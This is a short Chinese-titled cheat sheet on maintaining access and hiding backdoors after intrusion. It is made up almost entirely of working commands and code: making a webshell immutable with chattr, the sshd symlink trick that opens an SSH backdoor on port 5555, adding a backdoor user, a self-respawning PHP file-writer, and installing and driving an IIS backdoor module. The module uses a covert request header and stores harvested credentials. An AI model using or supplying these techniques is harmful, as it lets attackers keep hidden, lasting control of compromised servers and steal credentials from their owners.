权限维持-后门隐藏技术

chattr +i webshell.php
lsattr webshell.php
chattr -i webshell.php

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
useradd test -p test

<?php
  ignore_user_abort(); 
  set_time_limit(0);
  $interval = 5; 
do {
  $filename = 'test.php';
  if(file_exists($filename)) {
    echo "xxx";
  }
  else {
    $file = fopen("test.php", "w");
    $txt = "<?php phpinfo();?>\n";
  fwrite($file, $txt);
  fclose($file);
  }
  sleep($interval);
} while (true);
?>

functions.h
#define COM_HEADER "X-Chrome-Variations"  传输指令和接收数据的头部字段
#define PASS_FILE "C:\\Windows\\Temp\\creds.db"  保存到web请求服务端的位置
#define PASSWORD "SIMPLEPASS"  传输密码

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:iisModule  /image:"c:\IIS-Backdoor.dll" /add:true
python iis_controller.py --url http://x.x.x.x --password SIMPLEPASS